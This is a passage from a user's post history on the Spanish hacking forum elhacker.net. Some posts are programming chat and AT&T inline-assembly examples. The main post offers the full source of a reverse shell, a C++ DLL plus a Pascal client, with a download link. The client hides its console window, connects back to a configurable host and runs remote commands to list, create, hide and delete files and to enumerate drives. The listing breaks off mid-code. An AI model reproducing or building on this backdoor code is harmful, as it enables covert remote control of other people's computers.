elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: [1] 2 3
1  Programación / Programación General / Re: quiero aprender programacion desde 0.pero desde 0 de verdad. en: 26 Septiembre 2013, 15:39 pm
Claro... pero que sea "a nivel mundial" no quiere decir que sea bueno, ni mucho menos, volvemos a lo unitario y si es de reconocer que VB.NET, Java, etc.. son muy usados, pero como decias es solo abrir puertas en lo laboral(y con ciertos límites en lo salarial), yo he trabajado para empresas y es necesario conocimiento de lenguajes como pascal, C++(y claro que el sueldo es el doble).
Los BO, en cualquier lenguaje claro esta, pero no es lo mismo tener conocimiento de lo que se programa y saber como funciona(para poder solucionarlo) a "programar" sin tener control de lo que se hace, en fin es su decición.
2  Programación / Programación General / Re: quiero aprender programacion desde 0.pero desde 0 de verdad. en: 26 Septiembre 2013, 15:04 pm
Yo empecé con C / C++ y enseguida me introduje en el mundo de las APIs, luego ASM, y después exploiting, shellcodes y demás... puede que sea difícil al principio pero es la mejor manera de aprender.

@EleKtro H@cker:
Java, Python, VB ¿Enserio?¿lenguajes?¿por que?, Solo por que windows sea un sistema operativo unitario no quiere decir que lenguajes como Java y demas sean los mejores (y mucho menos para aprender!), les guste o no las fugas de memoria (y un monton mas de detalles que ni mencionare por que no vale la pena), que producen estos "lenguajes" son terribles, el manejo del MMU es terrible, no se puede optimizar al punto más fuerte, no se pueden hacer desensamblados, no hay punteros, etc.. sigo sin entender por que programar en aquello que nos aleja del hardware... particularmente ahora estoy programando drivers, que pronto espero publicar, y gracias al poder de C logré entender a grandes rasgos las características de los procesadores y mucho más. ¿Pascal de tercera division y que no sirve para nada en concreto?, muchas de las grandes herramientas de hacking se programaron en este lenguaje, con lazarus en linux tambien puedes programar drivers/kernel-modules(y es el unico lenguaje que realemente más se le acerca a C), colega por favor estudia verdaderos lenguajes de programación.

PD: kurumadayoo, empieza con C / C++ y luego ASM
3  Programación / Programación General / Re: Luxur 7.1 El kernel sigue avanzando! en: 12 Septiembre 2013, 11:26 am
Muy buen trabajo taul, exelente....
Yo por temas de tiempo y labor no puedo ayudarte pero estoy programando un pequeño kernel-module, cuando tenga tiempo disponible lo seguiré, y lo público aver si te puedo ayudar en algo.
Saludos y aportaso.
4  Programación / Programación General / Re: Un compilador para un lenguaje de programación sencillo en: 7 Septiembre 2013, 08:57 am
EDITO: No me había fijado que era un post muerto de hace 1 año ¬¬

Voy a dar 3 simples ejemplo 2 de suma y 1 de resta (con la sintaxis de AT&T), por que la idea no es traducir el pseudocódigo si no que entiendas el concepto de suma/resta y luego tomar las acciones respectivas dependiendo de lo que quieras hacer...

También quería aclarar que hace mucho que no hago nada en ASM puro, por lo que los siguientes ejemplos los daré del lado del GCC pero si entiendes la mecánica luego podrás adaptarlo a intel o cualquier otro asm fácilmente...

(todo esto suponiendo que tiene una variable "x" de tipo integro en 0)
AT&T (suma con asm extendido "x"+15)
Código
  1. __asm__(
  2.        "StartUp:\n"
  3.        "lea 0xfffffffc(%%ebp), %%eax\n" //cargamos la variable con el puntero a ebp -4
  4.  
  5.        :"=r"(x) // output de la variable
  6.        :"r"(15) // sumamos 15 desde el input
  7.        :"%eax" // preservamos el registro eax
  8.    );
  9.  

AT&T (suma normal "x"+3)
Código
  1. __asm__(
  2.        "StartUp:\n"
  3.        "lea 0xfffffffc(%ebp), %eax\n"
  4.        "addl $0x3, (%eax)" // sumamos 3 a eax
  5. );
  6.  

AT&T (resta normal "x"-3)
Código
  1. __asm__(
  2.        "StartUp:\n"
  3.        "lea 0xfffffffc(%ebp), %eax\n"
  4.        "subl $0x3, (%eax)\n"
  5.    );
  6.  



Espero que te haya servido yo también sigo estudiando at&t
5  Programación / Programación General / [Pascal+C++] WarCSockLib(+demo shellinversa) en: 2 Septiembre 2013, 04:05 am
Saludos.
Como estos últimos 2 días los tuve libre, se me ocurrió elaborar un shell inversa en pascal
pero no era suficiente, el tema ya se ha tocado, así que decidí agregarle un factor X,
ya hace meses que no hago nada en C/C++ y la verdad es que me dieron ganas de
de fusionar el poder de C con el de pascal, así que cree esta simple librería, por supuesto
esto es solo una beta, falta mucho que agregar, y corregir, ademas esta pequeña
shell solo tiene como propósito demostrar lo que se podría hacer juntando estos 2 lenguajes.

propiedades de la shell:
 
  • Multiconexión
  • Migrar las sesiones de las conexiones actuales
  • Lista archivos y carpetas
  • Muestra información de las unidades del sistema
  • Despliega información de un archivo(como la ultima fecha de modificación, peso, etc..)
  • Permite borrar archivos/carpetas, crearlas, esconderlas
  • Muestra la hora del sistema
  • ip y demas...
Las contras son que tienen varios fallos, muchas veces en la escritura de los sockets.
Por que como dije, en estos 2 días no corregí todo ademas hay funciones que deben
ser cambiadas...

También quería comentar que estuve estudiando AT&T y se me hizo un tanto más difícil que
la sintaxis de intel(por lo menos ami).

el administrador de la shell lo dejare en la descarga ya que es muy simple.
Esta programado con tserversocket.


Link para descarga de la shell: http://www.mediafire.com/download/d1g9ehi227ctkka/WarShell.rar

Sin mas que decir el código de la .dll en C++

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <winsock.h>
  5. #include <time.h>
  6.  
  7. /*
  8.               Las siguientes funciones como los desensamblados
  9.               en ImmDbg fueron escritas en AT&T por Warz0n3,
  10.               puedes encontrarme en indetectables.net y
  11.               foro.elhacker.net por cualquier duda que tengas.
  12.              
  13. */
  14.  
  15. #define CALLEXPORT extern "C"
  16. #define __callspec __declspec(dllexport)
  17.  
  18. typedef struct _wc_sconf
  19. {
  20.         HANDLE              hFile;
  21.         WIN32_FIND_DATA     FindFile;
  22.         time_t              rawtime;
  23.         struct              tm *timeinfo;
  24. } pwc_confsock;
  25.  
  26. #define drive_sz 27
  27.  
  28. #define BYTE_NO_ALIGN                   -0x1
  29. #define BYTE_ALIGN                      0x1
  30.  
  31. #define DRIVER_DESCONOCIDO              0x0
  32. #define DRIVER_SYSLEN                   0x4
  33. #define DRIVER_DESMONTABLE              0x2
  34. #define DRIVER_FIJO                     0x3
  35. #define DRIVER_REMOTO                   0x4
  36. #define DRIVER_CDROM                    0x5
  37. #define DRIVER_RAMDISK                  0x6
  38.  
  39. const LPCWSTR drivers[drive_sz] = {
  40.            L"A:/", L"B:/", L"C:/", L"D:/",
  41.            L"E:/", L"F:/", L"G:/", L"H:/",
  42.            L"I:/", L"J:/", L"K:/", L"L:/",
  43.            L"M:/", L"N:/", L"O:/", L"P:/",
  44.            L"Q:/", L"R:/", L"S:/", L"T:/",
  45.            L"U:/", L"V:/", L"W:/", L"X:/",
  46.            L"Y:/", L"Z:/"};
  47. UINT driver_type; // unsigned int
  48. char *driver_buff[_MAX_PATH];
  49.  
  50.  
  51. CALLEXPORT
  52. {         // compara que 2 integros sean iguales, si lo son retorna el valor constante
  53.           // de nuestro operando(sin signo) y si no es igual retorna -1
  54.           __callspec __stdcall int WIN32__volatil__cmplogic(int cmpval, int retval)
  55.           {
  56.           asm volatile ( // no guardamos la variable en el microprocesador
  57.                "sub $0x4, %%esp\n"
  58.                "mov 0x8(%%ebp), %%eax\n" // preparamos el s.frame
  59.                "cmp 0xc(%%ebp), %%eax\n" // comparamos el parametro de la variable (este es el puntero pre-definido por el stack frame)
  60.                "jne a2\n"                // si la comparacion dio negativa saltamos a a2
  61.                // lo preparamos por si es igual (1)
  62.                "movl $0x1, %%eax\n"      //  movemos positivo(1) a eax
  63.                "movl %%eax, %0\n"        // movemos eax a eax
  64.                "nop\n"
  65.  
  66.                "mov 0xc(%%ebp), %%eax\n"
  67.                "mov %%eax, 0xfffffffc(%%ebp)\n"
  68.                "jmp a3\n" // si es igual saltamos a a3
  69.  
  70.                "a2: movl $0xffffffff, 0xfffffffc(%%ebp)\n" // si no es igual mueve -1 a ebp
  71.                "a3: mov 0xfffffffc(%%ebp), %%eax\n"
  72.  
  73.                "leave\n"
  74.                "ret\n" // salimos y retornamos de la funcion
  75.  
  76.                :"=r"(retval)             // y en el output de solo escritura retornamos la variable
  77.                :"r"(0x00000000)          // movemos el octeto de 0 en el input (solo para preparar)
  78.  
  79.            );
  80.        }
  81.           /*
  82.               intel x86
  83.               Como se ve mi funcion en ImmDbg
  84.               00401290  /$ 55             PUSH EBP
  85.               00401291  |. 89E5           MOV EBP,ESP
  86.               00401293  |. 83EC 08        SUB ESP,8
  87.               00401299  |. 8D45 08        LEA EAX,DWORD PTR SS:[EBP+8]             ; |
  88.               0040129C  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
  89.               004012A0  |. C70424 0200000>MOV DWORD PTR SS:[ESP],2                 ; |
  90.               004012A7  |. E8 94010000    CALL <JMP.&WS2_32.WSAStartup>            ; \WSAStartup
  91.               004012AC  |. 83EC 08        SUB ESP,8
  92.               004012B2  |. C9             LEAVE
  93.               004012B3  \. C3             RETN
  94.              
  95.               Funcion en AT&T
  96.              
  97.              push %ebp , mov %esp , %ebp <- en este caso no lo hago por que las functiones en c++
  98.            ya se inicializan con el stack frame pre-configurado...
  99.            
  100.               401293: 83 ec 08             sub    $0x8,%esp
  101.               .......
  102.               401299: 8d 45 08             lea    0x8(%ebp),%eax
  103.               40129c: 89 44 24 04           mov    %eax,0x4(%esp)
  104.               4012a0: c7 04 24 02 00 00 00 movl   $0x2,(%esp)
  105.               4012a7: e8 94 01 00 00       call   0x401440
  106.               4012ac: 83 ec 08             sub    $0x8,%esp
  107.               .......
  108.               4012b2: c9                   leave  
  109.               4012b3: c3                   ret  
  110.            */
  111.           __callspec __stdcall void wcsock_init_driver(WSADATA wsa)
  112.           {
  113.                      __asm__(
  114.                              "sub $0x8, %esp                   \n"
  115.                              "lea 0x8(%ebp), %eax              \n"
  116.                              "mov %eax, 0x4(%esp)              \n"
  117.                              "movl $0x2,(%esp)                 \n"
  118.                              "call _WSAStartup@8               \n"
  119.                              "sub $0x8, %esp                   \n"
  120.                              "leave                            \n"
  121.                              "ret                              \n"
  122.                      );
  123.           }
  124.  
  125.           __callspec __stdcall void wcsock_connect_matrix(SOCKET wc_tcpsock, struct sockaddr_in saddr)
  126.           {
  127.               connect(wc_tcpsock, (struct sockaddr *)&saddr, sizeof(saddr));          
  128.           }
  129.  
  130.  
  131.           /* Como se ve mi funcion en ImmDbg
  132.             004012B0  /$ 55             PUSH EBP
  133.             004012B1  |. 89E5           MOV EBP,ESP
  134.             004012B3  |. 83EC 08        SUB ESP,8
  135.             ...
  136.             004012B9  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |
  137.             004012BC  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
  138.             004012BF  |. E8 9C010000    CALL <JMP.&WS2_32.closesocket>           ; \closesocket
  139.             004012C4  |. 83EC 04        SUB ESP,4
  140.             004012C7  |. E8 A4010000    CALL <JMP.&WS2_32.WSACleanup>            ; [WSACleanup
  141.             ...
  142.             004012CF  |. C9             LEAVE
  143.             004012D0  \. C3             RETN
  144.            
  145.             los mov eax, ebp y esp son los parametros al s.frame incluso
  146.             el de subs para volver, y una ves llamada la funcion salgo.
  147.             */
  148.  
  149.           __callspec __stdcall void wcsock_free(SOCKET wc_tcpsock)
  150.           {
  151.               __asm__(
  152.                        "mov 0x8(%ebp), %eax            \n"
  153.                        "mov %eax, (%esp)               \n"
  154.                        "call _closesocket@4            \n"
  155.                        "sub $0x4, %esp                 \n"
  156.                        "call _WSACleanup@0             \n"
  157.                        "leave                          \n"
  158.                        "ret                            \n"
  159.              );
  160.           }
  161.           /*
  162.            // Simple peticion por GET.
  163.            __callspec __stdcall char* wcsock_get_proto(SOCKET sock, int buffsize)
  164.            {
  165.                char reply[buffsize], *metodo;
  166.                metodo= "GET / HTTP/1.1\r\n\r\n";
  167.                send(sock, metodo, strlen(metodo), 0);
  168.                recv(sock, reply, buffsize, 0);
  169.                return reply;
  170.            }*/
  171.           /* intel x86
  172.             00401299  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]             ; ||
  173.             0040129C  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
  174.             0040129F  |. E8 AC070000    CALL <JMP.&msvcrt.strlen>                ; |\strlen
  175.             004012A4  |. C74424 0C 0000>MOV DWORD PTR SS:[ESP+C],0               ; |
  176.             004012AC  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
  177.             004012B0  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]             ; |
  178.             004012B3  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
  179.             004012B7  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |
  180.             004012BA  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
  181.             004012BD  |. E8 9E010000    CALL <JMP.&WS2_32.send>                  ; \send
  182.             004012C2  |. 83EC 10        SUB ESP,10
  183.             La config de s.frame se da igual que en los otros casos...
  184.             @necesario para el compilador
  185.            */
  186.           __callspec __stdcall void wcsock_sendstr(SOCKET sock, char *msg)
  187.           {
  188.               __asm__(
  189.               "sub $0x18,%esp           \n"
  190.               "mov 0xc(%ebp), %eax      \n"
  191.               "mov %eax, (%esp)         \n"
  192.               "call _strlen             \n"
  193.               "movl $0x0, 0xc(%esp)     \n"
  194.               "mov %eax, 0x8(%esp)      \n"
  195.               "mov 0xc(%ebp), %eax      \n"
  196.               "mov %eax, 0x4(%esp)      \n"
  197.               "mov 0x8(%ebp), %eax      \n"
  198.               "mov %eax,(%esp)          \n"
  199.               "call _send@16            \n"
  200.               "sub $0x10,%esp           \n"
  201.               "leave                    \n"
  202.               "ret                      \n"
  203.               );
  204.           }
  205.  
  206.           __callspec __stdcall void WIN32SendFindFile(SOCKET wc_tcpsock, char *path
  207.                      , char *delim, int SOCK_TYPE)
  208.           {
  209.               pwc_confsock sfile;
  210.               char fpath[_MAX_PATH], *ffpath[_MAX_PATH];
  211.                                      //char *driver_buff[_MAX_PATH];
  212.               strcpy(fpath, path);
  213.               sfile.hFile= FindFirstFile(fpath, &sfile.FindFile);
  214.               while (FindNextFile(sfile.hFile, &sfile.FindFile)!=false)
  215.               {
  216.                     if (ffpath[0]==0x0) send(wc_tcpsock, (const char *)delim, strlen(delim), SOCK_TYPE);
  217.                     ffpath[0]= strcat(sfile.FindFile.cFileName, delim);
  218.                     send(wc_tcpsock, ffpath[0], strlen(sfile.FindFile.cFileName), SOCK_TYPE);
  219.               }
  220.           }
  221.  
  222.           __callspec __stdcall void wcsock_double_buffer_send(SOCKET wc_tcpsock, char *dbuffer,
  223.                     char *permutar )
  224.           {
  225.               for (int i=BYTE_ALIGN; i<=0x2; i++){
  226.                   wcsock_sendstr(wc_tcpsock, dbuffer);
  227.                   if ( WIN32__volatil__cmplogic(0x2, i+0x1)!=BYTE_NO_ALIGN)
  228.  
  229.                      __asm__ volatile( "movl %0, %%eax" : "=r"(dbuffer) : "r"(permutar) ); // lo pongo en el GPR y el registro es el acumulativo
  230.  
  231.               }
  232.           }
  233.  
  234.           __callspec __stdcall char *WIN32GetLogicalDrivers(int *, char *delim, int forsignal, int *)
  235.           {
  236.                       driver_type= GetDriveTypeW(drivers[forsignal]);
  237.                       #ifdef DRIVER_DESCONOCIDO
  238.                       if (driver_type==DRIVER_DESCONOCIDO)return (char *)drivers[forsignal];
  239.                       #endif
  240.                       #ifdef DRIVER_DESMONTABLE
  241.                       if (driver_type==DRIVER_DESMONTABLE)return (char *)drivers[forsignal];
  242.                       #endif
  243.                       #ifdef DRIVER_FIJO
  244.                       if (driver_type==DRIVER_FIJO)return (char *)drivers[forsignal];
  245.                       #endif
  246.                       #ifdef DRIVER_REMOTO
  247.                       if (driver_type==DRIVER_REMOTO)return (char *)drivers[forsignal];
  248.                       #endif
  249.                       #ifdef DRIVER_CDROM
  250.                       if (driver_type==DRIVER_CDROM)return (char *)drivers[forsignal];
  251.                       #endif
  252.                       #ifdef DRIVER_RAMDISK
  253.                       if (driver_type==DRIVER_RAMDISK)return (char *)drivers[forsignal];
  254.                       #endif
  255.           }
  256.  
  257.           /*
  258.             004014E9  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]             ; ||||
  259.             004014EC  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||||
  260.             004014EF  |. E8 8C050000    CALL <JMP.&msvcrt.time>                  ; |||\time
  261.            */
  262.           __callspec __stdcall void WIN32SendSysTime(SOCKET wc_tcpsock, char *delim, int SOCK_TYPE)
  263.           {
  264.               pwc_confsock stime;
  265.               stime.timeinfo = localtime ( &stime.rawtime );
  266.               printf ( "Current local time and date: %s", asctime (stime.timeinfo) );
  267.               send(wc_tcpsock, asctime(stime.timeinfo), 0x248, SOCK_TYPE);
  268.           }
  269.  
  270.           __callspec __stdcall void WIN32SendCurrentDir(SOCKET wc_tcpsock, TCHAR delim,
  271.                      int SOCK_TYPE)
  272.           {
  273.               DWORD nBufferLength;
  274.               TCHAR lpBuffer[2048]= {delim}; //strlen((const char*)delim)
  275.               GetCurrentDirectory(nBufferLength, lpBuffer+0x1);
  276.               send(wc_tcpsock, lpBuffer, strlen(lpBuffer), SOCK_TYPE);
  277.           }
  278.  
  279.  
  280.           //int PASCAL recv(SOCKET,char*,int,int);
  281.           /*__callspec __stdcall int wcsock_recv(SOCKET sock, char *recv_buffer
  282.                       , int type_sock)
  283.            {
  284.                return recv(sock, recv_buffer, strlen(recv_buffer), type_sock);
  285.            }*/
  286. }

El servidor de la shell

Código
  1. program WarCSock;
  2.  
  3. uses
  4.  SysUtils,
  5.  WINDOWS,
  6.  WinSock,
  7.  Kol;
  8.  
  9. {$APPTYPE CONSOLE}
  10.  
  11. const
  12.  warcsock_lib = 'WarCSock.dll';
  13.  
  14.  WCS_SOCK_STREAM             = $00000001;
  15.  WCS_TCP_INET                = $00000002;
  16.  WCS_PROTO_TCP               = $00000006;
  17.  WCS_SOCK_ZERO               = $00000000;
  18.  DRIVER_SYSLEN               = $0000001B;
  19.  BYTE_NO_ALIGN               =-$00000001;
  20.  
  21.  // I/O
  22.  WCS_FILE_SHARE_READ         = $00000001;
  23.  WCS_FILE_SHARE_WRITE        = $00000002;
  24.  WCS_FILE_ATTR_NORMAL        = $00000080;
  25.  WCS_FILE_CREATE             = $00000002;
  26.  WCS_FILE_ATTR_READONLY      = $00000001 platform;
  27.  WCS_FILE_ATTR_HIDDEN        = $00000002 platform;
  28.  WCS_FILE_ATTR_SYSTEM        = $00000004 platform;
  29.  WCS_FILE_ATTR_DIR           = $00000010;
  30.  WCS_FILE_ATTR_ARCHIVE       = $00000020 platform;
  31.  
  32. // simple encriptacion de los valores chars en bytes
  33. EncryptedHashBytesBuffer    : array[0..25] of Integer= (
  34.    $B6-105 xor (3 shl 2), $B2-112, $A0-77 xor (2 shl 3),
  35.    $44,  $65 xor (2 shl 4), $42 xor (1 shl 2),  $4F xor 2 shl 2,
  36.    $60 xor (5 shl 3), $4B xor 2, $46 xor (3 shl 2),
  37.    $A3-84 xor 4, $B8-108, $B8-107, $4A xor 4, $A4-89 xor 4,
  38.    $70 xor (4 shl 3), $57 xor (3 shl 1), $5A xor (1 shl 3),
  39.    $73 xor 4 shl 3, $64 xor (3 shl 4), $59 xor (3 shl 2),
  40.    $56,  $55 xor 2,  $68 xor (3 shl 4), $5B xor 2, $58 xor 2
  41.  );
  42.  
  43. type
  44.  PHost_addr = ^sock_addr_in;    // la estructura para mis sockets
  45.  
  46.  sock_addr_in  = record
  47.    pAddr       : sockaddr_in;
  48.    WSA         : WsaData;
  49.    TcpSock     : TSocket;
  50.  
  51.    ChBuffer    : array[$00..2048] OF Char;
  52.    PaBuffer    : array[$00..(GETEXTENDEDTEXTMETRICS*2)] OF AnsiChar;
  53.    Strlist     : PStrList;
  54. end;
  55.  
  56. function WIN32__volatil__cmplogic(cmpval, retval: integer): integer; stdcall; external warcsock_lib NAME 'WIN32__volatil__cmplogic';
  57. function wcsock_init_driver(WSA:WsaData) : Integer; stdcall; external warcsock_lib NAME 'wcsock_init_driver';
  58. procedure wcsock_connect_matrix(TcpSock:tSocket; sAddr:sockaddr_in); stdcall; external warcsock_lib NAME 'wcsock_connect_matrix';
  59. function wcsock_get_proto(TcpSock:tSocket; buffSize:Integer) : PChar; stdcall; external warcsock_lib NAME 'wcsock_get_proto';
  60. procedure wcsock_sendstr(TcpSock:tSocket; MSG:string); stdcall; external warcsock_lib NAME 'wcsock_sendstr';
  61. procedure wcsock_double_buffer_send(TcpSock:tSocket; MSG:string; Permutar:string); stdcall; external warcsock_lib NAME 'wcsock_double_buffer_send';
  62. procedure WIN32SendFindFile(TcpSock:tSocket; FPath, Delim: PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendFindFile';
  63. function WIN32GetLogicalDrivers( NullStackFramePointer : Integer; Delim:PChar; DriverList, NullStackFrameRef : Integer): PChar; stdcall; external  warcsock_lib NAME 'WIN32GetLogicalDrivers';
  64. procedure WIN32SendSysTime(TcpSock:tSocket; Delim:PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendSysTime';
  65. procedure WIN32SendCurrentDir(TcpSock:tSocket; Delim:AnsiChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendCurrentDir';
  66. //function wcsock_recv(TcpSock:tSocket; Recv_Buffer:PChar; TypeSock:Integer) : Integer ; stdcall; external warcsock_lib NAME 'wcsock_recv';
  67. procedure wcsock_free(TcpSock:tSocket); stdcall; external warcsock_lib NAME 'wcsock_free';
  68. function GetConsoleWindow : HWND; stdcall; external kernel32 name 'GetConsoleWindow';
  69.  
  70.  
  71. var
  72.  Wsa         : WsaData;
  73.  TcpSock     : TSocket;
  74.  PHostAddr   : PHost_addr;
  75.  
  76.  Host        : string;
  77.  Port        : Uint;
  78.  
  79.  TcpInit     : BOOL;
  80.  sData       : string;
  81.  FAttr       : Integer;
  82.  FHandle     : DWORD;
  83.  
  84. function                          // solo usar para las conexiones remotas
  85.  __call_ix86_getip(): PChar; assembler;
  86. asm
  87.    PUSH EBX
  88.    ADD ESP, 0FFFFFE70h
  89.    PUSH ESP               // configuro de la pila
  90.    PUSH $1
  91.    CALL WSASTARTUP
  92.    PUSH Host // 04081B4h
  93.    CALL GetHostByName
  94.    MOV EAX, [EAX+0Ch]     // puntero en el stack frame
  95.    XOR EDX, EDX
  96.    MOV EAX, [EAX+EDX*4]
  97.    PUSH DWORD PTR [EAX]
  98.    CALL INET_NTOA
  99.    MOV EBX, EAX
  100.    CALL WSACleanup
  101.    MOV EAX, EBX
  102.    ADD ESP, 0190h
  103.    POP EBX
  104.    RETN
  105. end;
  106.  
  107. (*
  108.   0040845D  |. 53             PUSH EBX                                 ; /FileName
  109.   0040845E  |. E8 09FFFFFF    CALL <JMP.&kernel32.DeleteFileA>         ; \DeleteFileA
  110.   *)
  111. function
  112.  AsmDeleteFileA(fname : PCHAR) : integer;
  113. begin
  114.  ASM                // si no existe retorna -1
  115.  OR ESI, 0FFFFFFFFh
  116.  NOP
  117.  END;
  118.  {$I-}
  119.  if FileExists(fname) then
  120.  ASM
  121.    PUSH EBX
  122.    CALL DELETEFILEA
  123.    MOV EBX, $1
  124.    MOV ESI, EBX // retorna 1 si encuentra el archivo
  125.  END; {$I+}
  126. end;
  127.  
  128. function
  129.  WIN32GetDriverList(delim:string) : string;
  130. var
  131.  i           : Integer;
  132.  Hash        : Char;
  133. begin
  134.  Result:= '';
  135.  for i:= 0 to DRIVER_SYSLEN do begin
  136.    for Hash:=Chr(EncryptedHashBytesBuffer[0]) to Chr(EncryptedHashBytesBuffer[25]) do begin
  137.    // preconfiguracion del stack frame cuando es llamada en C aun que en pascal paresca inutil los argumentos son requeridos
  138.      if POS( Hash, WIN32GetLogicalDrivers($0, #0, i, $0) )<>0 then
  139.        Result:= Result+delim+Hash;
  140.    end;
  141.  end;
  142.  Result:= Result;
  143. end;
  144.  
  145. begin
  146.  ShowWindow(GetConsoleWindow, SW_HIDE);
  147.  GetMem(PHostAddr, 3*sizeof(sock_addr_in));
  148.  
  149.  Host:= 'www.tu-noip.com'; // solo usar en caso de conexiones remotas
  150.  Port:=  999;
  151.  
  152.  wcsock_init_driver(WSA);
  153.  ASM
  154.  PUSH WCS_SOCK_ZERO
  155.  PUSH WCS_SOCK_STREAM          // stack frame para la configuracion de mi socket
  156.  PUSH WCS_TCP_INET
  157.  CALL SOCKET
  158.  MOV ESI, EAX
  159.  END;
  160.  
  161.  PHostAddr^.pAddr.sin_family       := WCS_TCP_INET;
  162.  PHostAddr^.pAddr.sin_port         := u_short(htons(Port));
  163.  PHostAddr^.pAddr.sin_addr.s_addr  := inet_addr('127.0.0.1');
  164.                                //inet_addr( __call_ix86_getip() ); SOLO EN CASO DE CONEXIONES REMOTAS
  165.  PHostAddr^.Strlist                := NewStrList;
  166.  
  167.  wcsock_connect_matrix(TcpSock, PHostAddr^.PAddr);
  168.  WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); //wcsock_send(TcpSock, '&MSG');
  169.  
  170.  while TcpInit=true do begin
  171.    sleep(1 div $5);
  172.    Recv(TcpSock, PHostAddr^.CHBuffer, length(PHostAddr^.CHBuffer), WCS_SOCK_ZERO);
  173.  
  174.    if PHostAddr^.CHBuffer>'' then begin
  175.      //WRITELN( PHostAddr^.chBuffer );
  176.  
  177.      if strpos(PHostAddr^.ChBuffer, 'ls')<>nil then
  178.      begin
  179.        sData:= system.copy(PHostAddr^.ChBuffer, 10, length(PHostAddr^.ChBuffer)-$1);
  180.        WIN32SendFindFile(TcpSock, PChar(sData+'*.*'), '%FILES', WCS_SOCK_ZERO);
  181.      end;
  182.  
  183.      if strpos(PHostAddr^.ChBuffer, 'get_drivers')<>nil then
  184.        wcsock_sendstr(TcpSock, '%DRVLST'+WIN32GetDriverList('-') );
  185.  
  186.      if strpos(PHostAddr^.ChBuffer, 'get_time')<>nil then
  187.        WIN32SendSysTime(TcpSock, '%TIME', WCS_SOCK_ZERO);
  188.  
  189.      if strpos(PHostAddr^.ChBuffer, 'mkfile')<>nil then
  190.      begin       {$I-}
  191.        sData:= system.copy(PHostAddr^.ChBuffer, 8, length(PHostAddr^.ChBuffer));
  192.        if (Windows.CreateFile(PChar(sData), WCS_FILE_SHARE_READ, WCS_FILE_SHARE_WRITE,
  193.          nil, WCS_FILE_CREATE, WCS_FILE_ATTR_NORMAL, 0)<>-1) then
  194.        wcsock_sendstr(TcpSock, 'Archivo '+sData+' creado exitosamente!')
  195.        {$I+}
  196.      end;
  197.  
  198.      if strpos(PHostAddr^.ChBuffer, 'info')<>nil then
  199.      begin
  200.        sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
  201.        if FileExists(sData) then
  202.        begin
  203.          FAttr:= FileGetAttr(PChar(sData));
  204.          if FAttr and WCS_FILE_ATTR_READONLY > 0
  205.            then wcsock_sendstr(TcpSock, '- Archivo de solo lectura')
  206.            else wcsock_sendstr(TcpSock, '- El archivo no es de solo lectura');
  207.          if FAttr and WCS_FILE_ATTR_HIDDEN > 0
  208.            then wcsock_sendstr(TcpSock,'- Archivo oculto')
  209.            else wcsock_sendstr(TcpSock,'- Archivo desoculto');
  210.          if FAttr and WCS_FILE_ATTR_SYSTEM > 0
  211.            then wcsock_sendstr(TcpSock,'- Archivo del sistema')
  212.            else wcsock_sendstr(TcpSock,'- El archivo no es del sistema');
  213.          FAttr:= FileAge(sData);
  214.          wcsock_sendstr(TcpSock, '- fecha de ultima modificacion: '+DateToStr(FileDateToDateTime(FAttr))+
  215.            #13#10+'- tamaño del archivo: '+IntToStr(Kol.FileSize(sData))+' bytes' );
  216.        end
  217.        else if DirectoryExists(sData) then
  218.        begin
  219.          wcsock_sendstr(TcpSock,'- El archivo es de tipo carpeta');
  220.        end
  221.        else begin
  222.          wcsock_sendstr(TcpSock,'- El archivo/carpeta no existe.');
  223.        end;
  224.  
  225.      end;
  226.  
  227.      if strpos(PHostAddr^.ChBuffer, 'hide')<>nil then
  228.      begin {$I-}
  229.        sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
  230.        FileSetAttr(sData, faHidden);
  231.        wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' escondido')
  232.        {$I+}
  233.      end;
  234.      if strpos(PHostAddr^.ChBuffer, 'show')<>nil then
  235.      begin {$I-}
  236.        sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
  237.        FileSetAttr(sData, 0);
  238.        wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' desocultado');
  239.        {$I+}
  240.      end;
  241.  
  242.      if strpos(PHostAddr^.ChBuffer, 'del')<>nil then
  243.      begin
  244.        sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer));
  245.        if (AsmDeleteFileA(PChar(sData))<>BYTE_NO_ALIGN)then
  246.          wcsock_sendstr(TcpSock, 'Archivo borrado correctamente!')
  247.        else
  248.          wcsock_sendstr(TcpSock, 'Archivo no encontrado...');
  249.      end;
  250.      if strpos(PHostAddr^.ChBuffer, 'mkdir')<>nil then
  251.      begin         {$I-}
  252.        sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
  253.        if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(CreateDir(sData)<>false)) then
  254.          wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido creada exitosamente!')
  255.        else
  256.          wcsock_sendstr(TcpSock, 'Se ha producido un error al crear la carpeta');
  257.      end;         {$I+}
  258.      if strpos(PHostAddr^.ChBuffer, 'rmdir')<>nil then
  259.      begin          {$I-}
